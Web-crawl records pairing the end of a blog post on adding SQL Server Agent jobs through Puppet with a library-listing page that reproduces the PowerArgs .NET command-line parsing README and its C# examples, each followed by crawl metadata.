notifyOperator => $notifyOperator,
steps => $steps,
schedules => $schedules
}),
onlyif => "IF NOT EXISTS ( SELECT * FROM msdb.dbo.sysjobs WHERE name = '${name}' ) BEGIN
THROW 51000, '${name} job not present.', 10;
END;"
}
}
}
Note: You have to make sure the call to epp(…) above points to the path your template is at. In the example above, I presume it’s in the same module in the templates/sqlserver folder. Your folder structure should look roughly like this:
manifests/
/sqlserver/sql_add_job.pp
templates/
/sqlserver/sql_add_job.epp
This is the resource you will actually drop in you profile classes to add jobs to servers. The input parameters are as follows:
# PARAMETERS:
# name => (namevar) Specifies the name of the agent job. - https://msdn.microsoft.com/en-us/library/ms182079.aspx
# sqlInstanceName => Specifies the SQL Server instance.
# description => Specifies the description on the job.
# notifyOperator => Specifies the name of the job operator to notify.
# steps => An array of hashes specifying the job steps:
# name => String - The name of the job step
# command => String - The T-SQL to execute
# database => String - The name of the database to execute against if the subsystem is TSQL.
# onSuccess => Integer - 3(next)|2(quitfail)|1(quitsuccess)|4(gotostep), default is 1
# onFail => Integer - 3(next)|2(quitfail)|1(quitsuccess)|4(gotostep), default is 2
# onSuccessStepId => Integer - The stepid to go to on success
# onFailStepId => Integer - The stepid to to go in failure
# subsystem => String - Specify either "TSQL" or "CmdExec". Default is TSQL.
# outputFileName => String - Specify the path to the file to write the output to.
# schedules => (optional) A hash specifying a job schedule. - https://msdn.microsoft.com/en-us/library/ms366342.aspx
# frequencyType => Integer - 1(once)|4(daily)|8(weekly)|16(monthly), default 4
# frequencyInterval => Integer - (once) - not used | (daily) - every frequencyInterval days | (weekly) - frequencyinterval determines day of wek | (monthly) - determines day of the month
# frequencySubdayType => Integer - 1(attime)|4(minutes)|8(hours), default 1
# frequencySubdayInterval => Integer - number of minutes/hours
# frequencyRecurrenceFactor => Integer - Number of weeks/months between exectutions. Nonzero value required if frequencytype is 8|16|32 (not used otherwise). Default is 0.
# activeStartTime => "HHMMSS, default 0",
# activeEndTime => "HHMMSS, default 235959"
You’ll probably notice the parameter names and values are pretty much identical to the input parameters for sp_add_job, sp_add_jobstep and sp_add_jobschedule stored procedures. A trick I use when I want to take a job and add it to Puppet is to add the job to SQL Server first, set it up the way I want, then script the job out. The parameters in the T-SQL script will pretty much translate to the sql_agent_job resource.
Here is an example of a profile with the sql_agent_job resource in use:
profile::sqlserver::component::sql_agent_job::sql_agent_job { "${name}_my_agent_job":
name => "My SQL Agent Job",
sqlInstanceName => $name,
description => 'This is my SQL Agent Job being deploying wiht Puppet.',
notifyOperator => 'SQLTeam',
steps => [{
name => 'Execute Test Script',
database => 'master',
subsystem => 'TSQL',
command => "SELECT 'test data here'",
onSuccess => 1,
onFail => 2
}],
schedules => {
frequencyType => 4,
frequencyInterval => 1,
frequencySubdayType => 4,
frequencySubdayInterval => 30,
activeStartTime => 000000,
activeEndTime => 235959
},
}
The full versions of these files can be found in my GitHub repository here:
Enjoy!
Leave a Reply
Fill in your details below or click an icon to log in:
WordPress.com Logo
You are commenting using your WordPress.com account. Log Out / Change )
Google+ photo
You are commenting using your Google+ account. Log Out / Change )
Twitter picture
You are commenting using your Twitter account. Log Out / Change )
Facebook photo
You are commenting using your Facebook account. Log Out / Change )
Connecting to %s | {
"url": "https://get-creativetitle.com/2017/03/16/adding-sql-server-agent-jobs-using-puppet/",
"source_domain": "get-creativetitle.com",
"snapshot_id": "crawl=CC-MAIN-2018-47",
"warc_metadata": {
"Content-Length": "54781",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:Q7Q5CHPZFOAS5DOM45AAJKEVL5SGCF2K",
"WARC-Concurrent-To": "<urn:uuid:f1b97c75-a523-417a-94f0-a9d5b6002468>",
"WARC-Date": "2018-11-17T16:00:14Z",
"WARC-IP-Address": "192.0.78.24",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:AZUJ4BVQPWJMNSC26TOA2IIIKKFZVFPB",
"WARC-Record-ID": "<urn:uuid:8a46e722-8cbc-493f-bb69-aaaec96ddd9d>",
"WARC-Target-URI": "https://get-creativetitle.com/2017/03/16/adding-sql-server-agent-jobs-using-puppet/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:a807499b-69c6-4f2b-920f-991bc5f43688>"
},
"warc_info": "isPartOf: CC-MAIN-2018-47\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November 2018\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-168-131.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
42,
43,
691,
692,
805,
806,
884,
885,
1251,
1252,
1371,
1389,
1399,
1425,
1448,
1563,
1569,
1678,
1738,
1743,
1744,
1906,
1907,
2133,
2134,
2167,
2169,
2192,
2196,
2225,
2250,
2278,
2302,
2329,
2333,
2337,
2403,
2442,
2498,
2548,
2605,
2665,
2716,
2770,
2796,
2896,
2965,
2991,
2997,
3001,
3003,
3004,
3244,
3245,
3256,
3287,
3298,
3330,
3331,
3459,
3460,
3475,
3620,
3694,
3771,
3860,
3944,
4019,
4090,
4210,
4322,
4434,
4516,
4598,
4702,
4805,
4950,
5051,
5256,
5348,
5423,
5607,
5669,
5735,
5736,
6157,
6158,
6230,
6231,
6317,
6368,
6406,
6494,
6536,
6570,
6638,
6693,
6746,
6818,
6866,
6913,
6947,
6980,
7042,
7104,
7166,
7229,
7296,
7362,
7395,
7401,
7477,
7484,
7485,
7499,
7500,
7555,
7556,
7575,
7576,
7649,
7650,
7664,
7665,
7732,
7733,
7749,
7750,
7817,
7818,
7833,
7834,
7902,
7903
],
"line_end_idx": [
42,
43,
691,
692,
805,
806,
884,
885,
1251,
1252,
1371,
1389,
1399,
1425,
1448,
1563,
1569,
1678,
1738,
1743,
1744,
1906,
1907,
2133,
2134,
2167,
2169,
2192,
2196,
2225,
2250,
2278,
2302,
2329,
2333,
2337,
2403,
2442,
2498,
2548,
2605,
2665,
2716,
2770,
2796,
2896,
2965,
2991,
2997,
3001,
3003,
3004,
3244,
3245,
3256,
3287,
3298,
3330,
3331,
3459,
3460,
3475,
3620,
3694,
3771,
3860,
3944,
4019,
4090,
4210,
4322,
4434,
4516,
4598,
4702,
4805,
4950,
5051,
5256,
5348,
5423,
5607,
5669,
5735,
5736,
6157,
6158,
6230,
6231,
6317,
6368,
6406,
6494,
6536,
6570,
6638,
6693,
6746,
6818,
6866,
6913,
6947,
6980,
7042,
7104,
7166,
7229,
7296,
7362,
7395,
7401,
7477,
7484,
7485,
7499,
7500,
7555,
7556,
7575,
7576,
7649,
7650,
7664,
7665,
7732,
7733,
7749,
7750,
7817,
7818,
7833,
7834,
7902,
7903,
7919
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 7919,
"ccnet_original_nlines": 134,
"rps_doc_curly_bracket": 0.003030689898878336,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2556818127632141,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.058238640427589417,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.32954543828964233,
"rps_doc_frac_unique_words": 0.3961625397205353,
"rps_doc_mean_word_length": 5.5033860206604,
"rps_doc_num_sentences": 61,
"rps_doc_symbol_to_word_ratio": 0.01704544946551323,
"rps_doc_unigram_entropy": 5.28611946105957,
"rps_doc_word_count": 886,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.06767842173576355,
"rps_doc_frac_chars_dupe_6grams": 0.04019688069820404,
"rps_doc_frac_chars_dupe_7grams": 0.02789171040058136,
"rps_doc_frac_chars_dupe_8grams": 0.02789171040058136,
"rps_doc_frac_chars_dupe_9grams": 0.02789171040058136,
"rps_doc_frac_chars_top_2gram": 0.00615258002653718,
"rps_doc_frac_chars_top_3gram": 0.007383100222796202,
"rps_doc_frac_chars_top_4gram": 0.009844129905104637,
"rps_doc_books_importance": -536.7950439453125,
"rps_doc_books_importance_length_correction": -536.7950439453125,
"rps_doc_openwebtext_importance": -252.80189514160156,
"rps_doc_openwebtext_importance_length_correction": -252.80189514160156,
"rps_doc_wikipedia_importance": -196.60781860351562,
"rps_doc_wikipedia_importance_length_correction": -196.60781860351562
},
"fasttext": {
"dclm": 0.2898702025413513,
"english": 0.6029729843139648,
"fineweb_edu_approx": 2.135554313659668,
"eai_general_math": 0.01833314076066017,
"eai_open_web_math": 0.16922175884246826,
"eai_web_code": 0.01777935028076172
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.445",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-1,866,934,453,604,051,200 | Popularity
4.9
Declining
Activity
7.2
Declining
530
29
56
Code Quality Rank: L3
Programming language: HTML
License: MIT License
Tags: Parser Command Line Argument
Power Args alternatives and similar packages
Based on the "CLI" category.
Alternatively, view Power Args alternatives based on common mentions on social networks and blogs.
Do you think we are missing an alternative of Power Args or a related project?
Add another 'CLI' Package
README
Binary
PowerArgs is available at the Official NuGet Gallery.
As of version 3.0.0 PowerArgs targets .NET Standard 2.0 so that it can run cross platform. Version 3.0 requires VS 15.3 if you want to use PowerArgs from .NET 4.6.1.
Overview
PowerArgs converts command line arguments into .NET objects that are easy to program against. It also provides a ton of additional, optional capabilities that you can try such as argument validation, auto generated usage, tab completion, and plenty of extensibility. You can even build a full-blown, interactive text UI application like this one.
It can also orchestrate the execution of your program. Giving you the following benefits:
• Consistent and natural user error handling
• Invoking the correct code based on an action (e.g. 'git push' vs. 'git pull')
• Focus on writing your code
Here's a simple example that just uses the parsing capabilities of PowerArgs. The command line arguments are parsed, but you still have to handle exceptions and ultimately do something with the result.
// A class that describes the command line arguments for this program
public class MyArgs
{
// This argument is required and if not specified the user will
// be prompted.
[ArgRequired(PromptIfMissing=true)]
public string StringArg { get; set; }
// This argument is not required, but if specified must be >= 0 and <= 60
[ArgRange(0,60)]
public int IntArg {get;set; }
}
class Program
{
static void Main(string[] args)
{
try
{
var parsed = Args.Parse<MyArgs>(args);
Console.WriteLine("You entered string '{0}' and int '{1}'", parsed.StringArg, parsed.IntArg);
}
catch (ArgException ex)
{
Console.WriteLine(ex.Message);
Console.WriteLine(ArgUsage.GenerateUsageFromTemplate<MyArgs>());
}
}
}
Here's the same example that lets PowerArgs do a little more for you. The application logic is factored out of the Program class and user exceptions are handled automatically. The way exceptions are handled is that any exception deriving from ArgException will be treated as user error. PowerArgs' built in validation system always throws these type of exceptions when a validation error occurs. PowerArgs will display the message as well as auto-generated usage documentation for your program. All other exceptions will still bubble up and need to be handled by your code.
// A class that describes the command line arguments for this program
[ArgExceptionBehavior(ArgExceptionPolicy.StandardExceptionHandling)]
public class MyArgs
{
// This argument is required and if not specified the user will
// be prompted.
[ArgRequired(PromptIfMissing=true)]
public string StringArg { get; set; }
// This argument is not required, but if specified must be >= 0 and <= 60
[ArgRange(0,60)]
public int IntArg {get;set; }
// This non-static Main method will be called and it will be able to access the parsed and populated instance level properties.
public void Main()
{
Console.WriteLine("You entered string '{0}' and int '{1}'", this.StringArg, this.IntArg);
}
}
class Program
{
static void Main(string[] args)
{
Args.InvokeMain<MyArgs>(args);
}
}
Then there are more complicated programs that support multiple actions. For example, the 'git' program that we all use supports several actions such as 'push' and 'pull'. As a simpler example, let's say you wanted to build a calculator program that has 4 actions; add, subtract, multiply, and divide. Here's how PowerArgs makes that easy.
[ArgExceptionBehavior(ArgExceptionPolicy.StandardExceptionHandling)]
public class CalculatorProgram
{
[HelpHook, ArgShortcut("-?"), ArgDescription("Shows this help")]
public bool Help { get; set; }
[ArgActionMethod, ArgDescription("Adds the two operands")]
public void Add(TwoOperandArgs args)
{
Console.WriteLine(args.Value1 + args.Value2);
}
[ArgActionMethod, ArgDescription("Subtracts the two operands")]
public void Subtract(TwoOperandArgs args)
{
Console.WriteLine(args.Value1 - args.Value2);
}
[ArgActionMethod, ArgDescription("Multiplies the two operands")]
public void Multiply(TwoOperandArgs args)
{
Console.WriteLine(args.Value1 * args.Value2);
}
[ArgActionMethod, ArgDescription("Divides the two operands")]
public void Divide(TwoOperandArgs args)
{
Console.WriteLine(args.Value1 / args.Value2);
}
}
public class TwoOperandArgs
{
[ArgRequired, ArgDescription("The first operand to process"), ArgPosition(1)]
public double Value1 { get; set; }
[ArgRequired, ArgDescription("The second operand to process"), ArgPosition(2)]
public double Value2 { get; set; }
}
class Program
{
static void Main(string[] args)
{
Args.InvokeAction<CalculatorProgram>(args);
}
}
Again, the Main method in your program class is just one line of code. PowerArgs will automatically call the right method in the CalculatorProgram class based on the first argument passed on the command line. If the user doesn't specify a valid action then they get a friendly error. If different actions take different arguments then PowerArgs will handle the validation on a per action basis, just as you would expect.
Here are some valid ways that an end user could call this program:
• Calculator.exe add -Value1 1 -Value2 5 outputs '6'
• Calculator.exe multiply /Value1:2 /Value2:5 outputs '10'
• Calculator.exe add 1 4 outputs '5' - Since the [ArgPosition] attribute is specified on the Value1 and Value2 properties, PowerArgs knows how to map these arguments.
If you wanted to, your action method could accept loose parameters in each action method. I find this is useful for small, simple programs where the input parameters don't need to be reused across many actions.
[ArgActionMethod, ArgDescription("Adds the two operands")]
public void Add(
[ArgRequired][ArgDescription("The first value to add"), ArgPosition(1)] double value1,
[ArgRequired][ArgDescription("The second value to add"), ArgPosition(2)] double value2)
{
Console.WriteLine(value1 + value2);
}
You can't mix and match though. An action method needs to be formatted in one of three ways:
• No parameters - Meaning the action takes no additional arguments except for the action name (i.e. '> myprogram.exe myaction').
• A single parameter of a complex type whose own properties describe the action's arguments, validation, and other metadata. The first calculator example used this pattern.
• One or more 'loose' parameters that are individually revivable, meaning that one command line parameter maps to one property in your class. The second calculator example showed a variation of the Add method that uses this pattern.
Metadata Attributes
These attributes can be specified on argument properties. PowerArgs uses this metadata to influence how the parser behaves.
• [ArgPosition(0)] This argument can be specified by position (no need for -propName)
• [ArgShortcut("n")] Lets the user specify -n
• [ArgDescription("Description of the argument")]
• [ArgExample("example text", "Example description")]
• [HelpHook] Put this on a boolean property and when the user specifies that boolean. PowerArgs will display the help info and stop processing any additional work. If the user is in the context of an action (e.g. myprogram myaction -help) then help is shown for the action in context only.
• [ArgDefaultValue("SomeDefault")] Specify the default value
• [ArgIgnore] Don't populate this property as an arg
• [StickyArg] Use the last used value if not specified. This is preserved across sessions. Data is stored in /AppData/Roaming/PowerArgs by default.
• [TabCompletion] Enable tab completion for parameter names (see documentation below)
Validator Attributes
These attributes can be specified on argument properties. You can create custom validators by implementing classes that derive from ArgValidator.
• [ArgRequired(PromptIfMissing=bool)] This argument is required. There is also support for conditionally being required.
• [ArgExistingFile] The value must match the path to an existing file
• [ArgExistingDirectory] The value must match the path to an existing directory
• [ArgRange(from, to)] The value must be a numeric value in the given range.
• [ArgRegex("MyRegex")] Apply a regular expression validation rule
• [UsPhoneNumber] A good example of how to create a reuable, custom validator.
Custom Revivers
Revivers are used to convert command line strings into their proper .NET types. By default, many of the simple types such as int, DateTime, Guid, string, char, and bool are supported.
If you need to support a different type or want to support custom syntax to populate a complex object then you can create a custom reviver.
This example converts strings in the format "x,y" into a Point object that has properties "X" and "Y".
public class CustomReviverExample
{
// By default, PowerArgs does not know what a 'Point' is. So it will
// automatically search your assembly for arg revivers that meet the
// following criteria:
//
// - Have an [ArgReviver] attribute
// - Are a public, static method
// - Accepts exactly two string parameters
// - The return value matches the type that is needed
public Point Point { get; set; }
// This ArgReviver matches the criteria for a "Point" reviver
// so it will be called when PowerArgs finds any Point argument.
//
// ArgRevivers should throw ArgException with a friendly message
// if the string could not be revived due to user error.
[ArgReviver]
public static Point Revive(string key, string val)
{
var match = Regex.Match(val, @"(\d*),(\d*)");
if (match.Success == false)
{
throw new ArgException("Not a valid point: " + val);
}
else
{
Point ret = new Point();
ret.X = int.Parse(match.Groups[1].Value);
ret.Y = int.Parse(match.Groups[2].Value);
return ret;
}
}
}
Generate usage documentation from templates (built in or custom)
PowerArgs has always provided auto-generated usage documentation via the ArgUsage class. However, the format was hard coded, and gave very little flexibility in terms of the output format. With the latest release of PowerArgs usage documentation can be fully customized via templates. A template is just a piece of text that represents the documentation structure you want along with some placeholders that will be replaced with the actual information about your command line application. There are built in templates designed for the console and a web browser, and you can also create your own.
In its latest release, PowerArgs adds a new method called ArgUsage.GenerateUsageFromTemplate(). The method has several overloads, most of which are documented via XML intellisense comments. The part that needs a little more explanation is the template format. To start, let's talk about the built in templates.
The first one, the default, is designed to create general purpose command line usage documentation that is similar to the older usage documentation that PowerArgs generated. You can see what that template looks like here.
The second one is designed to create documentation that looks good in a browser. You can see what that template looks like here.
Here is an example of what the built in browser usage looks like.
You can create your own templates from scratch, or modify these default templates to suit your needs. The templating engine was built specifically for PowerArgs. It has quite a bit of functionality and extensibility, but for now I'm only going to document the basics.
Most of you probably use the class and attributes model when using PowerArgs, but under the hood there's a pretty extensive object model that gets generated from the classes you build. That model is what is bound to the template. If you're not familiar with the object model you can explore the code here.
You can see from the built in templates that there is placeholder syntax that lets you insert information from the model into template. For example, if your program is called 'myprogram' then the following text in the template would be replaced with 'myprogram'.
{{ExeName !}} is the best
// outputs - 'myprogram is the best'
Additionally, you can add a parameter to the replacement tag that indicates the color to use when printed on the command line as a ConsoleString. You can use any ConsoleColor as a parameter.
{{ExeName Cyan !}}
You can also choose to conditionally include portions of a template based on a property. Here's an example from the default template:
{{if HasActions}}Global options!{{if}}{{ifnot HasActions}}Options!{{ifnot}}:
In this case, if the HasActions property on the CommandLineArgumentsDefinition object is true then the usage will output 'Global options'. Otherwise it will output 'Options'. This flexibility is important since some command line programs have only simple options while others expose multiple commands within the same executable (e.g. git pull and git push).
Another thing you can do is to enumerate over a collection to include multiple template fragments in your output. Take this example.
{{each action in Actions}}
{{action.DefaultAlias!}} - {{action.Description!}}
!{{each}}
If your program has 3 actions defined then you'd get output like this.
action1 - action 1 description here
action2 - action 2 description here
action3 - action 3 description here
When referring to a part of your data model you can also navigate objects using dot '.' notation. Notice in the example above I was able to express {{ action.DefaultAlias !}}. You could go even deeper. For example {{ someObj.SomeProperty.DeeperProperty !}}. More advanced expressions like function calling with parameters are not supported.
PS
I'm pretty happy with the templating solution. In fact, hidden in PowerArgs is a general purpose template rendering engine that I've found useful in other projects for things like code generation. You can actually bind any string template to any plain old .NET object (dynamic objects not supported). Here's a basic sample:
var renderer = new DocumentRenderer();
var document = renderer.Render("Hi {{ Name !}}", new { Name = "Adam" });
// outputs 'Hi Adam'
Ambient Args
Access your parsed command line arguments from anywhere in your application.
MyArgs parsed = Args.GetAmbientArgs<MyArgs>();
This will get the most recent insance of type MyArgs that was parsed on the current thread. That way, you have access to things like global options without having to pass the result all throughout your code.
Secure String Arguments
Support for secure strings such as passwords where you don't want your users' input to be visible on the command line.
Just add a property of type SecureStringArgument.
public class TestArgs
{
public SecureStringArgument Password { get; set; }
}
Then when you parse the args you can access the value in one of two ways. First there's the secure way.
TestArgs parsed = Args.Parse<TestArgs>();
SecureString secure = parsed.Password.SecureString; // This line causes the user to be prompted
Then there's the less secure way, but at least your users' input won't be visible on the command line.
TestArgs parsed = Args.Parse<TestArgs>();
string notSecure = parsed.Password.ConvertToNonsecureString(); // This line causes the user to be prompted
Tab Completion
Get tab completion for your command line arguments. Just add the TabCompletion attribute and when your users run the program from the command line with no arguments they will get an enhanced prompt (should turn blue) where they can have tab completion for command line argument names.
[TabCompletion]
public class TestArgs
{
[ArgRequired]
public string SomeParam { get; set; }
public int AnotherParam { get; set; }
}
Sample usage:
someapp -some <-- after typing "-some" you can press tab and have it fill in the rest of "-someparam"
You can even add your own tab completion logic in one of two ways. First there's the really easy way. Derive from SimpleTabCompletionSource and provide a list of words you want to be completable.
public class MyCompletionSource : SimpleTabCompletionSource
{
public MyCompletionSource() : base(MyCompletionSource.GetWords()) {}
private static IEnumerable<string> GetWords()
{
return new string[] { "SomeLongWordThatYouWantToEnableCompletionFor", "SomeOtherWordToEnableCompletionFor" };
}
}
Then just tell the [TabCompletion] attribute where to find your class.
[TabCompletion(typeof(MyCompletionSource))]
public class TestArgs
{
[ArgRequired]
public string SomeParam { get; set; }
public int AnotherParam { get; set; }
}
There's also the easy, but not really easy way if you want custom tab completion logic. Let's say you wanted to load your auto completions from a text file. You would implement ITabCompletionSource.
public class TextFileTabCompletionSource : ITabCompletionSource
{
string[] words;
public TextFileTabCompletionSource(string file)
{
words = File.ReadAllLines(file);
}
public bool TryComplete(bool shift, string soFar, out string completion)
{
var match = from w in words where w.StartsWith(soFar) select w;
if (match.Count() == 1)
{
completion = match.Single();
return true;
}
else
{
completion = null;
return false;
}
}
}
If you expect your users to sometimes use the command line and sometimes run from a script then you can specify an indicator string. If you do this then only users who specify the indicator as the only argument will get the prompt.
[TabCompletion("$")]
public class TestArgs
{
[ArgRequired]
public string SomeParam { get; set; }
public int AnotherParam { get; set; }
}
The PowerArgs.Cli (undocumented) namespace
The PowerArgs.Cli namespace contains framework components that make it easy to build very interactive command line applications. This namespace is undocumented since these capabilities are still a work in progress. When it gets closer to being ready I'll document the classes just like the rest of PowerArgs. | {
"url": "https://dotnet.libhunt.com/powerargs-alternatives",
"source_domain": "dotnet.libhunt.com",
"snapshot_id": "CC-MAIN-2023-06",
"warc_metadata": {
"Content-Length": "86655",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:DDIWAXVOSSJGJX33T2MQIS7UZVDUX7KN",
"WARC-Concurrent-To": "<urn:uuid:4f27cadc-5137-4bb8-99b2-0a4124b3a573>",
"WARC-Date": "2023-01-27T10:26:37Z",
"WARC-IP-Address": "172.66.41.34",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:TZURS5LMFC5K5OFUEN7KVTL4YLSFR2H4",
"WARC-Record-ID": "<urn:uuid:2ffdea0f-cd26-443b-8ba0-5258ac189ca8>",
"WARC-Target-URI": "https://dotnet.libhunt.com/powerargs-alternatives",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:0f7ae4a7-bc6b-44b3-8c32-72c60cf92460>"
},
"warc_info": "isPartOf: CC-MAIN-2023-06\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January/February 2023\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-197\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
11,
15,
25,
34,
38,
48,
52,
55,
58,
59,
81,
108,
129,
180,
181,
226,
227,
256,
355,
356,
435,
436,
462,
463,
470,
471,
478,
479,
533,
534,
700,
701,
710,
711,
1058,
1059,
1149,
1150,
1197,
1279,
1310,
1311,
1513,
1514,
1584,
1604,
1606,
1675,
1695,
1735,
1777,
1778,
1856,
1877,
1911,
1913,
1914,
1928,
1930,
1966,
1972,
1984,
1994,
2045,
2151,
2161,
2193,
2203,
2246,
2323,
2333,
2339,
2341,
2342,
2916,
2917,
2987,
3056,
3076,
3078,
3147,
3167,
3207,
3249,
3250,
3328,
3349,
3383,
3384,
3516,
3539,
3545,
3643,
3649,
3651,
3652,
3666,
3668,
3704,
3710,
3749,
3755,
3757,
3758,
4097,
4098,
4167,
4198,
4200,
4269,
4304,
4305,
4368,
4409,
4415,
4469,
4475,
4476,
4544,
4590,
4596,
4650,
4656,
4657,
4726,
4772,
4778,
4832,
4838,
4839,
4905,
4949,
4955,
5009,
5015,
5017,
5018,
5046,
5048,
5130,
5169,
5252,
5291,
5293,
5294,
5308,
5310,
5346,
5352,
5404,
5410,
5412,
5413,
5834,
5835,
5902,
5903,
5958,
6019,
6188,
6189,
6400,
6401,
6460,
6477,
6569,
6661,
6663,
6703,
6705,
6706,
6799,
6800,
6931,
7106,
7341,
7342,
7362,
7363,
7487,
7488,
7576,
7624,
7676,
7732,
8024,
8087,
8142,
8292,
8380,
8381,
8402,
8403,
8549,
8550,
8673,
8745,
8827,
8906,
8975,
9056,
9057,
9073,
9074,
9258,
9259,
9399,
9400,
9503,
9504,
9538,
9540,
9615,
9689,
9717,
9724,
9767,
9807,
9857,
9918,
9919,
9956,
9957,
10023,
10092,
10099,
10168,
10229,
10230,
10247,
10302,
10308,
10362,
10398,
10408,
10473,
10483,
10496,
10506,
10543,
10597,
10651,
10675,
10685,
10691,
10693,
10694,
10759,
10760,
11356,
11357,
11668,
11669,
11891,
11892,
12021,
12022,
12088,
12089,
12357,
12358,
12664,
12665,
12928,
12929,
12955,
12992,
12993,
13184,
13185,
13209,
13210,
13344,
13345,
13422,
13423,
13781,
13782,
13915,
13916,
13943,
13994,
14004,
14005,
14076,
14077,
14113,
14149,
14185,
14186,
14527,
14528,
14531,
14532,
14856,
14857,
14896,
14969,
14990,
14991,
15004,
15005,
15082,
15083,
15130,
15131,
15339,
15340,
15364,
15365,
15484,
15485,
15535,
15536,
15558,
15560,
15615,
15617,
15618,
15722,
15723,
15765,
15861,
15862,
15965,
15966,
16008,
16115,
16116,
16131,
16132,
16417,
16418,
16434,
16456,
16458,
16476,
16518,
16560,
16562,
16563,
16577,
16578,
16681,
16682,
16878,
16879,
16939,
16941,
17014,
17064,
17070,
17188,
17194,
17196,
17197,
17268,
17269,
17313,
17335,
17337,
17355,
17397,
17439,
17441,
17442,
17641,
17642,
17706,
17708,
17728,
17780,
17786,
17827,
17833,
17834,
17911,
17917,
17989,
17990,
18022,
18032,
18073,
18098,
18108,
18121,
18131,
18162,
18188,
18198,
18204,
18206,
18207,
18439,
18440,
18461,
18483,
18485,
18503,
18545,
18587,
18589,
18590,
18633,
18634
],
"line_end_idx": [
11,
15,
25,
34,
38,
48,
52,
55,
58,
59,
81,
108,
129,
180,
181,
226,
227,
256,
355,
356,
435,
436,
462,
463,
470,
471,
478,
479,
533,
534,
700,
701,
710,
711,
1058,
1059,
1149,
1150,
1197,
1279,
1310,
1311,
1513,
1514,
1584,
1604,
1606,
1675,
1695,
1735,
1777,
1778,
1856,
1877,
1911,
1913,
1914,
1928,
1930,
1966,
1972,
1984,
1994,
2045,
2151,
2161,
2193,
2203,
2246,
2323,
2333,
2339,
2341,
2342,
2916,
2917,
2987,
3056,
3076,
3078,
3147,
3167,
3207,
3249,
3250,
3328,
3349,
3383,
3384,
3516,
3539,
3545,
3643,
3649,
3651,
3652,
3666,
3668,
3704,
3710,
3749,
3755,
3757,
3758,
4097,
4098,
4167,
4198,
4200,
4269,
4304,
4305,
4368,
4409,
4415,
4469,
4475,
4476,
4544,
4590,
4596,
4650,
4656,
4657,
4726,
4772,
4778,
4832,
4838,
4839,
4905,
4949,
4955,
5009,
5015,
5017,
5018,
5046,
5048,
5130,
5169,
5252,
5291,
5293,
5294,
5308,
5310,
5346,
5352,
5404,
5410,
5412,
5413,
5834,
5835,
5902,
5903,
5958,
6019,
6188,
6189,
6400,
6401,
6460,
6477,
6569,
6661,
6663,
6703,
6705,
6706,
6799,
6800,
6931,
7106,
7341,
7342,
7362,
7363,
7487,
7488,
7576,
7624,
7676,
7732,
8024,
8087,
8142,
8292,
8380,
8381,
8402,
8403,
8549,
8550,
8673,
8745,
8827,
8906,
8975,
9056,
9057,
9073,
9074,
9258,
9259,
9399,
9400,
9503,
9504,
9538,
9540,
9615,
9689,
9717,
9724,
9767,
9807,
9857,
9918,
9919,
9956,
9957,
10023,
10092,
10099,
10168,
10229,
10230,
10247,
10302,
10308,
10362,
10398,
10408,
10473,
10483,
10496,
10506,
10543,
10597,
10651,
10675,
10685,
10691,
10693,
10694,
10759,
10760,
11356,
11357,
11668,
11669,
11891,
11892,
12021,
12022,
12088,
12089,
12357,
12358,
12664,
12665,
12928,
12929,
12955,
12992,
12993,
13184,
13185,
13209,
13210,
13344,
13345,
13422,
13423,
13781,
13782,
13915,
13916,
13943,
13994,
